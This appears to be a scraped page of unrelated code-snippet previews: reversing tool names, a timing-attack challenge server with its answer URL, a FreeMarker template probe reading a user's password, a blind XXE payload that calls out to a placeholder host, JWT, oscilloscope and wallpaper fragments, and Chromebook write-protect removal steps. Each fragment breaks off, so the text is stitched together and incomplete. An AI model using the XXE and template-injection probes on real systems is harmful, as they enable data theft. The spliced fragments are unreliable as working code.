010 Editor - Hex editor
Sublime - Text editor
Terminator - Terminal emulator
IDA - Reversing IDE
binaryninja - Reversing IDE
capstone - Disassembly framework
unicorn - cpu emulator framework
#!/usr/bin/env node | |
// run with: node sequencehunt_server.js | |
// info page: http://localhost:8080/info | |
// correct values: http://localhost:8080/check?val0=4&val1=12&val2=77&val3=98&val4=35 | |
var http = require('http'); | |
var url = require('url'); | |
var TimingAttackProtectionSeconds = 3; |
> Dear ${user.first_name},
Dear sample01
> Dear ${user.password}
FreeMarket template error: the following has evaluated to null or missing...
Q: Is it safe to allow users to upload templates if they are untrusted?
<!-- Instructions: | |
- Download and unzip Mojave dynamic background here: https://files.rb.gd/mojave_dynamic.zip | |
- Rename the extracted folder as "mojave-background" (Excuse the trouble but I renamed it on my machine and already use that path in the XML file) | |
- Save this xml file next to the Mojave background files | |
- Fix the path to the background images below (better using absolute path) | |
- Lastly, either: | |
+ GNOME: Use gnome-tweaks tool to select this XML as wallpaper (as default wallpaper settings won't let you choose wallpaper from custom path) | |
+ MATE: Go to background setting (in Appearance) > Choose +Add... > make sure **All files** filter is selected at the bottom right > Then choose mojave.xml | |
--> | |
<background> |
#!/bin/bash | |
# Very secure OpenVPN server installer for CentOS | |
if [[ "$EUID" -ne 0 ]]; then | |
echo "Sorry, you need to run this as root" | |
exit 1 | |
fi |
-------------------------------------------------------------- | |
Vanilla, used to verify outbound xxe or blind xxe | |
-------------------------------------------------------------- | |
<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |
# Read from Rigol DS1000 scope | |
# version 1 | |
# 2013-12-27 | |
import visa | |
import os, serial | |
import numpy as np | |
import pylab as plt | |
import time |
#!/usr/bin/env python | |
""" | |
Download data from a Rigol DS1052E oscilloscope and graph with matplotlib. | |
By Ken Shirriff, http://righto.com/rigol | |
Based on http://www.cibomahto.com/2010/04/controlling-a-rigol-oscilloscope-using-linux-and-python/ | |
by Cibo Mahto. | |
""" |
####Disabling SPI write protection
Put the Chromebook in developer-mode:
Now remove the write-protect screw to enable flashrom
to flash new Coreboot/Libreboot.
Flip powered-off machine over and remove 8 philips-head screws. 2 are located under rubber feet.
Target: | |
{ | |
"alg": "HS256", | |
"typ": "JWT" | |
} | |
{ | |
"sub": "1234567890", | |
"name": "John Doe", | |
"iat": 1516239022 |